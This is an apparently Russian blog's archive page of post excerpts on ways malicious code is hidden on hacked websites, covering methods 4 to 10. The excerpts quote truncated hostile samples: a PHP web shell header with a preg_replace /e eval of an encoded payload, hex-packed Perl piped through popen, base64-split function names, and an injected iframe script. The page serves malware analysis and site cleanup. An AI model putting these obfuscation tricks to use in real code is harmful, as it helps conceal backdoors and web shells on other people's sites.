Архив метки: скрипты

Скрытие кода, метод 10: почти стеганография

Получил от клиента жалобу, что антивирус ругается на… картинки! Сначала я проверил все файлы .htaccess, ничего подозрительного. Затем сами файлы картинок (jpg) командой file – нормальные файлы изображений в формате JPEG. Затем открыл файл (по ссылке) в браузере – обычная картинка (мой антивирус не проверяет изображения на предмет вирусов, а зачем?). Бред какой-то… Тогда я… Читать далее »

Скрытие кода, метод 9

Этот метод популярен у ботоводов (т.е. распространителей perl-ботов), зашифрованный код передается непосредственно процессу Perl, запускаемому функцией popen(): error_reporting( 1 ); global $HTTP_SERVER_VARS; if (@is_resource( $f = @popen( ‘perl — E54POCH’, "w" ) )) { @fwrite( $f, ‘eval( pack( "H*", "6368…7d20" ) );eval( pack( "H*", "7573…353b"));’ ); @fflush( $f ); sleep( 1 ); @pclose( $f );… Читать далее »

Скрытие кода, метод 8

<?php # Web Shell by oRb $auth_pass = "63a9f0ea7bb98050796b649e85481845"; $color = "#df5"; $default_action = ‘FilesMan’; $default_use_ajax = true; $default_charset = ‘Windows-1251’; preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66 \x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F \x64\x65\x28’5b1pdx…Kn6fwE=’\x29\x29\x29\x3B",".");?> Чертовски гениально!) preg_replace ничего не заменяет, а просто выполняет роль eval(), выполняя весь код из второго аргумента! pattern Искомый шаблон. Может быть как строкой, так и массивом строк. Также доступны некоторые… Читать далее »

Скрытие кода, метод 7

Следующих код был взят из двух файлов, залитых на взломанный сайт. В каждом из файлов код состоял из трех блоков. Первый блок был почти одинаковым, массив функций, закодированный в base64: $GLOBALS[‘_482181972_’] = Array( base64_decode( ‘Z’ .’mlsZ’ .’V9′ .’nZ’ .’XRfY29u’ .’dGV’ .’udHM’ .’=’ ), // file_get_contents base64_decode( ‘c3Ry’ .’c’ .’G’ .’9z’ ), // strpos base64_decode( ‘ZmlsZW10’… Читать далее »

Скрытие кода, метод 6: ionCube HTML obfuscator

На сайте ionCube случайно заметил бесплатную плюшку – Free Obfuscating HTML Encoder. Захотелось посмотреть и раскодировать) Закодированная страница в примере на сайте выглядит следующим образом: <script language=javascript> c="e66x75…Y7dF7d"; // [1] first long string eval(unescape("%64%3d…%22%3b")); // [2] second long string x("C3Bomk…4ApQkS"); // [3] third long string </script> В оригинале весь код располагается в одну строку. В… Читать далее »

Скрытие кода, метод 5

Следующий код был выдран из тела страницы взломанного сайта, этот javascript вставлял небольшой фрейм (сразу покажу причесанный вид, изначально все было в одну строку и без пробелов, пугающе 🙂 ): var s = »; try { new asd[0] } catch (q) { if (q) r = 1; c = String; } if (r && document.createTextNode)… Читать далее »

Скрытие кода, метод 4

Взято из демо-версии DLE: <?php $_F=__FILE__;$_X=’STRING=’;$_D=strrev(‘edoced_46esab’);eval($_D(‘STRING2==’));?> В коде бросаются в глаза две длиннющие строки в base64, раскодировать “в лоб” можно только вторую, там содержится кусок кода для дешифрации первой строки (STRING=). Причесанный вид файла: $_F = __FILE__; $_X = ‘STRING=’; $_D = strrev( ‘edoced_46esab’ ); eval( $_D( ‘STRING2==’ ) ); edoced_46esab – это всего лишь… Читать далее »